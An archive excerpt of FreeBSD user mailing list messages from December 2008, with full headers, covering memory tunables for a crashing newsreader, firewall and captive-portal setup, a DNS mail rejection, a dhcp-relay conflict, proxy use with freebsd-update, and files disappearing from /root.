[62.1.205.36]) by mx1.freebsd.org (Postfix) with ESMTP id 6F3268FC1C for ; Thu, 4 Dec 2008 03:12:21 +0000 (UTC) (envelope-from keramida@ceid.upatras.gr) Received: from kobe.laptop (adsl37-141.kln.forthnet.gr [77.49.164.141]) (authenticated bits=128) by igloo.linux.gr (8.14.3/8.14.3/Debian-5) with ESMTP id mB43C5dN001029 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 4 Dec 2008 05:12:12 +0200 Received: from kobe.laptop (kobe.laptop [127.0.0.1]) by kobe.laptop (8.14.3/8.14.3) with ESMTP id mB43C5Tm042365; Thu, 4 Dec 2008 05:12:05 +0200 (EET) (envelope-from keramida@ceid.upatras.gr) Received: (from keramida@localhost) by kobe.laptop (8.14.3/8.14.3/Submit) id mB43C4hE042364; Thu, 4 Dec 2008 05:12:04 +0200 (EET) (envelope-from keramida@ceid.upatras.gr) From: Giorgos Keramidas To: Kevin Monceaux References: <20081203202155.GA84629@slackbox.xs4all.nl> Date: Thu, 04 Dec 2008 05:12:04 +0200 In-Reply-To: (Kevin Monceaux's message of "Wed, 3 Dec 2008 17:24:48 -0600 (CST)") Message-ID: <87abbciqgr.fsf@kobe.laptop> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.0.60 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-MailScanner-ID: mB43C5dN001029 X-Hellug-MailScanner: Found to be clean X-Hellug-MailScanner-SpamCheck: not spam, SpamAssassin (not cached, score=-3.858, required 5, autolearn=not spam, ALL_TRUSTED -1.80, AWL 0.54, BAYES_00 -2.60) X-Hellug-MailScanner-From: keramida@ceid.upatras.gr X-Spam-Status: No Cc: FreeBSD Questions E-Mail List Subject: Re: Returning User With Filesystem/Memory Tuning Questions X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 03:12:22 -0000 On Wed, 3 Dec 2008 17:24:48 -0600 (CST), Kevin Monceaux wrote: > On Wed, 3 Dec 2008, Roland Smith wrote: > >> Application crashed can also be due to bad hardware, especially >> memory. Make sure that you rule out hardware troubles before diving >> into the software. > > I don't think it was hardware related, but it's a possibility. > > Jogging my memory a bit more I think the first program I had memory > allocation problems was tin. Fetching headers from even a semi-large > newsgroup would cause tin to crash. I forget the exact error messages > but they were something along the lines of not being able to allocate > the needed amount of memory. At the times of the failures there > appeared to be available RAM with swap space completely untouched. The > errors occurred at about the same point in fetching the headers each > time. After much Googling I tried adjusting the following: > > kern.maxdsiz > kern.dfldsiz > kern.maxssiz Hi Kevin, The `kern.maxdsiz' tunable is a boot-time option that limits the amount of memory a _single_ process can allocate for its `data'. The default value is 512 MB (the value reported by sysctl is the number of bytes): $ sysctl kern.maxdsiz kern.maxdsiz: 536870912 If a single process running on i386 wants to allocate more than 512 MB of memory, and it is not a large database server, then it's possible that something is wrong with the way the process handles its memory :) For what it's worth, I've been reading newsgroups with more than 5000 messages in Gnus, a newsreader that runs inside GNU Emacs, and its memory usage has *never* reached 512 MB, so if you want help to switch from the aging tin reader to something that is still maintained & developed actively, I will be glad to help. Gnus can run in text-only mode too, much like tin; it supports threading, scoring of messages by author, subject, by custom header filters, etc.; it can read messages from multiple news servers; it can work in `offline' mode and post all your outgoing messages later, when you get back online; it can prefetch all the messages of your favorite groups, and that's just a short list of the features I can remember off-hand. > which greatly improved things. But, I adjusted them using examples of > values I found on the net without really understanding what I was > doing. This time around I want to learn how to tweak whatever settings > need to be tweaked to best use my available memory. Well, you can just ask here, on the freebsd-questions list. There are _many_ knowledgeable subscribers who can describe what each FreeBSD option means, how to tune it for your own needs, and so on :-) From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 03:18:53 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 391E51065670 for ; Thu, 4 Dec 2008 03:18:53 +0000 (UTC) (envelope-from anthony.rasat@gmail.com) Received: from yw-out-2324.google.com (yw-out-2324.google.com [74.125.46.28]) by mx1.freebsd.org (Postfix) with ESMTP id DD7F78FC08 for ; Thu, 4 Dec 2008 03:18:52 +0000 (UTC) (envelope-from anthony.rasat@gmail.com) Received: by yw-out-2324.google.com with SMTP id 9so1638496ywe.13 for ; Wed, 03 Dec 2008 19:18:52 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:x-rim-org-msg-ref-id :return-receipt-to:message-id:reply-to:x-priority:sensitivity :importance:to:subject:from:date:content-type:mime-version; bh=/B8lDZG4Ia/MPC16PfQOX6c6Se8WrYeCNnryEoqXa6Q=; b=FFlStNWi8HX5HbzDSwhH0Vusv8kgeaKYC687/Ek0PU6hwl0NhgtxmjCul1Teqqlnju 3r2BFgHkUJRROmLpOCBSg8aaSQwvxJuawCYxrv1K0Pedz/JJkmNqfG6T3uOBnWyyJHuL BRXEM5TO0M/lWrcs9u3Z5UjrldSE5YA/IJ9zY= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=x-rim-org-msg-ref-id:return-receipt-to:message-id:reply-to :x-priority:sensitivity:importance:to:subject:from:date:content-type :mime-version; b=FQymPLrB/kB7t706NbsuiUEQBkMS7sfT/pvBdpATVR6iscJMqyVFb2UeHsimmQTQYA N+Th3y+uuOc5SwY4zL+qJssko/AeBS4poHZ0ZhDSXvgKtwexj3Rkel35r+cQwF1avi0g xyo4TCDv+lESBtK+EZRH4rguyAdhZNmxw/KCU= Received: by 10.64.195.20 with SMTP id s20mr13693865qbf.72.1228360731828; Wed, 03 Dec 2008 19:18:51 -0800 (PST) Received: from bda011.bisx.prodap.on.blackberry (bda011.bis.ap.blackberry.com [216.9.247.139]) by mx.google.com with ESMTPS id p31sm658398qbp.20.2008.12.03.19.18.50 (version=SSLv3 cipher=RC4-MD5); Wed, 03 Dec 2008 19:18:50 -0800 (PST) X-rim-org-msg-ref-id: 1945089444 Message-ID: <1945089444-1228360728-cardhu_decombobulator_blackberry.rim.net-1342228431-@bxe1001.bisx.prodap.on.blackberry> X-Priority: Normal Sensitivity: Normal Importance: Normal To: freebsd-questions@freebsd.org From: "Anthony M. Rasat" Date: Thu, 4 Dec 2008 03:18:45 +0000 Content-Type: text/plain MIME-Version: 1.0 Subject: Re: hp dv2225nr laptop optical drive random ejects X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: anthony.rasat@gmail.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 03:18:53 -0000 >has anyone ever seen this happen? >system is 8.0-current, drive is not >being used and it will just eject while >sitting on a table. Yes, I did. It was hardware-related. It was the CD/DVD ribbon connector getting all wrinkles and apparently something resetting just out of even the smallest vibration. You may find this ribbon connector appearance conspicous. It usually gold or red colored. Look from under your laptop while drive's out if you can't see it from topside. And this ribbon connector is not exactly cheap too. I'm not sure why. -- Regards, Anthony M. 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Raya Kebayoran Lama 12, Jakarta Barat 12210 Indonesia.- Phone 02132185562 Phone 081574217035 Fax 02153651465 Web http://www.jpnn.com From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 03:33:28 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4D9861065673 for ; Thu, 4 Dec 2008 03:33:28 +0000 (UTC) (envelope-from on@cs.ait.ac.th) Received: from mail.cs.ait.ac.th (mail.cs.ait.ac.th [192.41.170.16]) by mx1.freebsd.org (Postfix) with ESMTP id B3EAB8FC0C for ; Thu, 4 Dec 2008 03:33:26 +0000 (UTC) (envelope-from on@cs.ait.ac.th) Received: from banyan.cs.ait.ac.th (banyan.cs.ait.ac.th [192.41.170.5]) by mail.cs.ait.ac.th (8.13.1/8.13.1) with ESMTP id mB43W4Ou033682 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 4 Dec 2008 10:32:04 +0700 (ICT) (envelope-from on@banyan.cs.ait.ac.th) Received: (from on@localhost) by banyan.cs.ait.ac.th (8.14.2/8.12.11) id mB43XNbH015909; Thu, 4 Dec 2008 10:33:23 +0700 (ICT) Date: Thu, 4 Dec 2008 10:33:23 +0700 (ICT) Message-Id: <200812040333.mB43XNbH015909@banyan.cs.ait.ac.th> From: Olivier Nicole To: freebsd-questions@freebsd.org X-Virus-Scanned: on CSIM by amavisd-milter (http://www.amavis.org/) Subject: ipfw and bridged interface X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 03:33:28 -0000 Hi, I remember that I read, many years ago, something about the way ipfw interacts with the IP stack. AFAIR, ipfw would be called on layer 2, where only certain rules would be applied, then on the IP layer where other rules would apply. Is it still the case? Where can I find th description? Best regards, Olivier From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 03:37:18 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8AD851065670 for ; Thu, 4 Dec 2008 03:37:18 +0000 (UTC) (envelope-from on@cs.ait.ac.th) Received: from mail.cs.ait.ac.th (mail.cs.ait.ac.th [192.41.170.16]) by mx1.freebsd.org (Postfix) with ESMTP id 120E08FC1A for ; Thu, 4 Dec 2008 03:37:17 +0000 (UTC) (envelope-from on@cs.ait.ac.th) Received: from banyan.cs.ait.ac.th (banyan.cs.ait.ac.th [192.41.170.5]) by mail.cs.ait.ac.th (8.13.1/8.13.1) with ESMTP id mB43ZuRv033821 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 4 Dec 2008 10:35:56 +0700 (ICT) (envelope-from on@banyan.cs.ait.ac.th) Received: (from on@localhost) by banyan.cs.ait.ac.th (8.14.2/8.12.11) id mB43bGHE015979; Thu, 4 Dec 2008 10:37:16 +0700 (ICT) Date: Thu, 4 Dec 2008 10:37:16 +0700 (ICT) Message-Id: <200812040337.mB43bGHE015979@banyan.cs.ait.ac.th> From: Olivier Nicole To: ccowart@rescomp.berkeley.edu In-reply-to: <20081203222520.GA19693@hal.rescomp.berkeley.edu> (message from Christopher Cowart on Wed, 3 Dec 2008 14:25:20 -0800) References: <200812030508.mB358SUx095910@banyan.cs.ait.ac.th> <20081203222520.GA19693@hal.rescomp.berkeley.edu> X-Virus-Scanned: on CSIM by amavisd-milter (http://www.amavis.org/) Cc: freebsd-questions@freebsd.org Subject: Re: Firewall with bridged interfaces and captive portal X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 03:37:18 -0000 Hi Chris, > > I need to implement a firewall with bridged interfaces that offers > > captive portal (authentication before opening the traffic). > > We are using a combination of squid+ipfw. Although we are NATing the > users, that really just introduces needless complexity that could be > avoided with a bridging solution. > > Our web-app/captive portal/authentication program is written in-house; > it's very tightly integrated with several existing pieces of > infrastructure. I don't know if there are any solutions that will work > out-of-the-box. > > I can get you more technical details if this is a direction you'd be > interested in moving. Long time ago I have been toying with ipf (for the genral firewall) and NoCat+ipfw for the captive portal. But that did not work too well, so any technical information will be appreciated :) My long term vision is a quite integrated thing, where users that read their email and authenticate to POP3/IMAP would be granted the access without the need to authenticate to the web portal. Best regards, Olivier From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 04:41:31 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 337931065672 for ; Thu, 4 Dec 2008 04:41:31 +0000 (UTC) (envelope-from sahil@tandon.net) Received: from aegis.hamla.org (aegis.hamla.org [206.251.255.39]) by mx1.freebsd.org (Postfix) with ESMTP id 09DFB8FC0A for ; Thu, 4 Dec 2008 04:41:31 +0000 (UTC) (envelope-from sahil@tandon.net) Received: from localhost (localhost [127.0.0.1]) by aegis.hamla.org (Postfix) with ESMTP id 00B9D5C78 for ; Wed, 3 Dec 2008 23:43:00 -0500 (EST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=tandon.net; h= x-virus-scanned:in-reply-to:content-disposition:content-type :mime-version:references:reply-to:message-id:subject:from:date: received; s=aegis; t=1228365779; bh=uGQUntB8A5ALpwvOkEFf1GN4DvQK glnuHHkxmhwSdGE=; b=caV+6P0jAcIIUQb0ivBXHk80NnOfweOwrCzGK7x72DhA FbCx+6J3H76htw1gQWDFvhZXLjVVTn0jS9i8D5o52Iq+p0lg8phOXp3YZkARz3Ta +iwcIaAvzg6/sYF0lgnlf/sxU2rrbK9ZVF17uKiZ5AuQA5M5kx+4J4PzDyPAcDg= Received: from aegis.hamla.org ([127.0.0.1]) by localhost (aegis.hamla.org [127.0.0.1]) (amavisd-new, port 10027) with LMTP id CBSDP1x0XdVZ for ; Wed, 3 Dec 2008 23:42:59 -0500 (EST) Date: Wed, 3 Dec 2008 23:41:29 -0500 From: Sahil Tandon To: freebsd-questions@freebsd.org Message-ID: <20081204044129.GA58784@shepherd> References: <1bd820d80812012338v6c4c8926ncc24838956fa9ee7@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1bd820d80812012338v6c4c8926ncc24838956fa9ee7@mail.gmail.com> X-Virus-Scanned: ClamAV version 0.94, clamav-milter version 0.94 on aegis.hamla.org X-Virus-Status: Clean Subject: Re: mx1.freebsd.org X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: "freebsd-questions@freebsd.org" List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 04:41:31 -0000 Ebbe Hjorth wrote: > My postfix mail servers shows to messages in the queue saying > > (host mx1.FreeBSD.org[69.147.83.52] said: 450 4.7.1 Client host rejected: > cannot find your hostname, [86.58.167.132] (in reply to RCPT TO command)) > > But when i do a lookup or a reverse lookup, i find my hostname, also > from work and other ip, not only local ;) > > Does mx1.freebsd.org have an old dns? - This affects me sending mail > to all the freebsd lists. Most likely a temporary DNS problem; are the messages still sitting in your queue? -- Sahil Tandon From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 04:44:37 2008 Return-Path: Delivered-To: FreeBSD-Questions@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EA67A1065672 for ; Thu, 4 Dec 2008 04:44:37 +0000 (UTC) (envelope-from dokpm0@Phideaux.RawFedDogs.net) Received: from Phideaux.RawFedDogs.net (Phideaux.RawFedDogs.net [64.251.15.37]) by mx1.freebsd.org (Postfix) with ESMTP id C08498FC17 for ; Thu, 4 Dec 2008 04:44:37 +0000 (UTC) (envelope-from dokpm0@Phideaux.RawFedDogs.net) Received: from cpe-24-167-59-175.hot.res.rr.com ([24.167.59.175] helo=Blaidd-Drwg.RawFedDogs.net) by Phideaux.RawFedDogs.net with esmtpa (Exim 4.69 (FreeBSD)) (envelope-from ) id 1L864p-0007BJ-Rr for FreeBSD-Questions@FreeBSD.org; Wed, 03 Dec 2008 22:44:37 -0600 Date: Wed, 3 Dec 2008 22:44:29 -0600 (CST) From: Kevin Monceaux X-X-Sender: dokpm0@Blaidd-Drwg.RawFedDogs.net To: FreeBSD Questions E-Mail List In-Reply-To: <87abbciqgr.fsf@kobe.laptop> Message-ID: References: <20081203202155.GA84629@slackbox.xs4all.nl> <87abbciqgr.fsf@kobe.laptop> User-Agent: Alpine 2.00 (LNX 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Sender: dokpm0@Phideaux.RawFedDogs.net Cc: Subject: Re: Returning User With Filesystem/Memory Tuning Questions X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 04:44:38 -0000 On Thu, 4 Dec 2008, Giorgos Keramidas wrote: > For what it's worth, I've been reading newsgroups with more than 5000 > messages in Gnus, a newsreader that runs inside GNU Emacs, and its > memory usage has *never* reached 512 MB, I doubt I'd have a problem with newsgroups that small with either tin or pan. How well does Gnus handle groups with 1,000,000 to 2,000,000+ messages? My ISP dropped it's NNTP service a while back and I ended up signing up with GigaNews. They have 240 day retention for binary groups and 1,990 day retention for text groups. So, many of the group archives on their servers are huge. Granted I don't need to retrieve all the headers for a particular group, but it's not unusual for me to be browsing a group with a header count in the five to six digit range. > so if you want help to switch from the aging tin reader to something > that is still maintained & developed actively, I will be glad to help. I finally gave up on tin a while back and switched to pan. It seems to be less of a memory hog with larger groups than tin was. I prefer TUI based programs over GUI based programs, but I think pan is worth putting up with the GUI interface. It handles large groups with multi-part binary posts fairly well and makes good use of the ten NNTP connections GigaNews gives me. Chances are I might not have any problems with pan under FreeBSD. I might be misremembering, it may have only been tin I had problems with. But it wouldn't hurt to learn a little more about FreeBSD memory tunable settings even if I end up not needing them. Well, I guess I'll probably need at least a few if I go with ZFS this time around. I prefer vim over emacs but might take a look at Gnus. Kevin http://www.RawFedDogs.net http://www.WacoAgilityGroup.org Bruceville, TX Si hoc legere scis nimium eruditionis habes. Longum iter est per praecepta, breve et efficax per exempla!!! From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 05:54:04 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5D5501065675 for ; Thu, 4 Dec 2008 05:54:04 +0000 (UTC) (envelope-from peter@boosten.org) Received: from smtpq1.tb.mail.iss.as9143.net (smtpq1.tb.mail.iss.as9143.net [212.54.42.164]) by mx1.freebsd.org (Postfix) with ESMTP id 1A2EC8FC0A for ; Thu, 4 Dec 2008 05:54:04 +0000 (UTC) (envelope-from peter@boosten.org) Received: from [212.54.42.137] (helo=smtp6.tb.mail.iss.as9143.net) by smtpq1.tb.mail.iss.as9143.net with esmtp (Exim 4.69) (envelope-from ) id 1L87A2-0003Wl-VQ for freebsd-questions@freebsd.org; Thu, 04 Dec 2008 06:54:02 +0100 Received: from [84.25.72.219] (helo=ra.egypt.nl) by smtp6.tb.mail.iss.as9143.net with esmtp (Exim 4.69) (envelope-from ) id 1L87A1-0007sC-H2 for freebsd-questions@freebsd.org; Thu, 04 Dec 2008 06:54:01 +0100 Received: from [127.0.0.1] (xp.egypt.nl [192.168.13.35]) by ra.egypt.nl (Postfix) with ESMTP id 091503983A for ; Thu, 4 Dec 2008 06:53:55 +0100 (CET) Message-ID: <49377074.4010403@boosten.org> Date: Thu, 04 Dec 2008 06:53:56 +0100 From: Peter Boosten User-Agent: Thunderbird 2.0.0.18 (Windows/20081105) MIME-Version: 1.0 To: FreeBSD Questions X-Enigmail-Version: 0.95.7 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-ZiggoSMTP-MailScanner-Information: Please contact the ISP for more information X-ZiggoSMTP-MailScanner-ID: 1L87A1-0007sC-H2 X-ZiggoSMTP-MailScanner: Found to be clean X-ZiggoSMTP-MailScanner-SpamCheck: not spam, SpamAssassin (not cached, score=-1.913, required 5, BAYES_00 -2.60, SPF_NEUTRAL 0.69) X-ZiggoSMTP-MailScanner-From: peter@boosten.org X-Spam-Status: No Subject: arpwatch and isc-dhcp-relay X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 05:54:04 -0000 Hi all, When I install arpwatch and isc-dhcp-*relay* to listen on the same interface, the latter won't work, while on another machine arpwatch and isc-dhcp-*server* don't seem to bite on another. Anyone knows why? Peter -- http://www.boosten.org From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 05:59:37 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 769DD106564A for ; Thu, 4 Dec 2008 05:59:37 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id 4387F8FC17 for ; Thu, 4 Dec 2008 05:59:37 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id 7F8B4AFC1C6; Wed, 3 Dec 2008 20:59:36 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org Date: Thu, 4 Dec 2008 06:38:19 +0100 User-Agent: KMail/1.9.7 References: <87abbciqgr.fsf@kobe.laptop> In-Reply-To: <87abbciqgr.fsf@kobe.laptop> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812040638.19923.fbsd.questions@rachie.is-a-geek.net> Cc: Giorgos Keramidas , Kevin Monceaux Subject: Re: Returning User With Filesystem/Memory Tuning Questions X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 05:59:37 -0000 On Thursday 04 December 2008 04:12:04 Giorgos Keramidas wrote: > On Wed, 3 Dec 2008 17:24:48 -0600 (CST), Kevin Monceaux wrote: > > On Wed, 3 Dec 2008, Roland Smith wrote: > >> Application crashed can also be due to bad hardware, especially > >> memory. Make sure that you rule out hardware troubles before diving > >> into the software. > > > > I don't think it was hardware related, but it's a possibility. > > > > Jogging my memory a bit more I think the first program I had memory > > allocation problems was tin. Fetching headers from even a semi-large > > newsgroup would cause tin to crash. I forget the exact error messages > > but they were something along the lines of not being able to allocate > > the needed amount of memory. At the times of the failures there > > appeared to be available RAM with swap space completely untouched. The > > errors occurred at about the same point in fetching the headers each > > time. After much Googling I tried adjusting the following: > > > > kern.maxdsiz > > kern.dfldsiz > > kern.maxssiz > > Hi Kevin, > > The `kern.maxdsiz' tunable is a boot-time option that limits the amount > of memory a _single_ process can allocate for its `data'. And the dfldsiz is the initial soft limit. You can set dlfdsiz to 512 and maxdsiz to 1024, then all processes will initially bonk out at 512 and you'd have to use limit(1) to start up the process that needs more. 1024 will be the hard limit, nothing can excess beyond that. Datasize is simplified malloc(3) where ssiz = stack size. Function pointers and local variables that are not malloced (char foo[1024]), are put there till stack is exhausted. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 06:42:45 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C67FF106564A for ; Thu, 4 Dec 2008 06:42:45 +0000 (UTC) (envelope-from D.Forsyth@ru.ac.za) Received: from c.mail.ru.ac.za (c.mail.ru.ac.za [IPv6:2001:4200:1010::25:3]) by mx1.freebsd.org (Postfix) with ESMTP id 025378FC08 for ; Thu, 4 Dec 2008 06:42:45 +0000 (UTC) (envelope-from D.Forsyth@ru.ac.za) Received: from iwr.ru.ac.za ([146.231.64.249]:52840) by c.mail.ru.ac.za with esmtp (Exim 4.69 (FreeBSD)) (envelope-from ) id 1L87v8-0004d2-G5 for freebsd-questions@freebsd.org; Thu, 04 Dec 2008 08:42:42 +0200 Received: from iwr61.iwr.ru.ac.za ([146.231.64.161]) by iwr.ru.ac.za with esmtp (Exim 4.69 (FreeBSD)) (envelope-from ) id 1L87v8-0001O7-Bw for freebsd-questions@freebsd.org; Thu, 04 Dec 2008 08:42:42 +0200 From: "DA Forsyth" Organization: IWR To: freebsd-questions@freebsd.org Date: Thu, 04 Dec 2008 08:42:42 +0200 MIME-Version: 1.0 Message-ID: <49379802.9933.87CE421@d.forsyth.ru.ac.za> Priority: normal In-reply-to: <20081203145910.0cab5963@gumby.homeunix.com> References: <4936612D.20753.3BEA7E4@d.forsyth.ru.ac.za>, <20081203145910.0cab5963@gumby.homeunix.com> X-mailer: Pegasus Mail for Windows (4.41) Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-Virus-Scanned: c.mail.ru.ac.za (146.231.129.35) Subject: Re: freebsd-update through proxy with auth X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: d.forsyth@ru.ac.za List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 06:42:45 -0000 On 3 Dec 2008 , RW entreated about "Re: freebsd-update through proxy with auth": > On Wed, 03 Dec 2008 10:36:29 +0200 > "DA Forsyth" wrote: > > > Hiya > > > > How do I get freebsd-update to fetch through a proxy that requires > > authentication? I cannot find any options in the man pages. > > > > have you tried putting it in the proxy name > > http://user:pass@server:port sadly, that doesn't work looks like freebsd-update never queries the http_proxy env variable -- DA Fo rsyth Network Supervisor Principal Technical Officer -- Institute for Water Research http://www.ru.ac.za/institutes/iwr/ From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 07:11:50 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9AF52106564A for ; Thu, 4 Dec 2008 07:11:50 +0000 (UTC) (envelope-from tajudd@gmail.com) Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.190]) by mx1.freebsd.org (Postfix) with ESMTP id 1E7368FC17 for ; Thu, 4 Dec 2008 07:11:49 +0000 (UTC) (envelope-from tajudd@gmail.com) Received: by nf-out-0910.google.com with SMTP id h3so2074751nfh.33 for ; Wed, 03 Dec 2008 23:11:49 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type:references; bh=akuEcoiqWHQKrS9vvDJYK6Bq1lYtRqbdP4337KPjARY=; b=S3TQM/833I6ZTjRlK3zwNZxNeB2FReX0KSZ9HqO6D0zP8c6Uz5mi/88vxdv8LV9OxI 9RWOk2i7iP/RhYGwrC+5byZWPbTYwUOQ0601XAhyU1eff/RZPPD3FKGHBaaggXeVZ6yy UwZO9fIqQrC3F7AYtwrfKHqvo6uW6M0j2Sn0Y= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:references; b=uW06ofrr5q+65fvo3k+raufV4P03Sjfx5qlYQ2ja/t+QFkoerbuXEBH1qi9rTtFPvr JmMzr+tkfX29wHQZnA0cfcFftgxVq8QGfAYA68pm8RO7hoUjjeSflbqzk0Ov1mjXq0jJ rcubyJOk8nr6dhmpxOZMiHDWuTf2lg19iKEcw= Received: by 10.210.51.10 with SMTP id y10mr16263315eby.87.1228374708932; Wed, 03 Dec 2008 23:11:48 -0800 (PST) Received: by 10.210.17.12 with HTTP; Wed, 3 Dec 2008 23:11:48 -0800 (PST) Message-ID: Date: Thu, 4 Dec 2008 00:11:48 -0700 From: "Tim Judd" To: "Kris Kennaway" In-Reply-To: <49374418.6060709@FreeBSD.org> MIME-Version: 1.0 References: <6.0.0.22.2.20081203192259.0241ef88@mail.computinginnovations.com> <49374418.6060709@FreeBSD.org> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org, Derek Ragona Subject: Re: what script is whacking root's files X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 07:11:50 -0000 On Wed, Dec 3, 2008 at 7:44 PM, Kris Kennaway wrote: > Derek Ragona wrote: > >> I have a freshly installed 7.0 release server. The configuration files >> (all dot files including .ssh etc.) in /root keep getting deleted. I >> assume this is from a script running from periodic and can be set NOT to >> delete these files. Can someone point me where I need to make this change. >> I have already combed through the handbook and mailing list archives. >> > > There is no such standard script in FreeBSD. > > Kris > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > I'd make sure there's not something like a tmpfs/mfs filesystem that /root is being used on. If / is on a ramdisk image of any kind, on each reboot, it should disappear. Perhaps you should paste your fstab and current mounted filesystems as an aid to debug. From 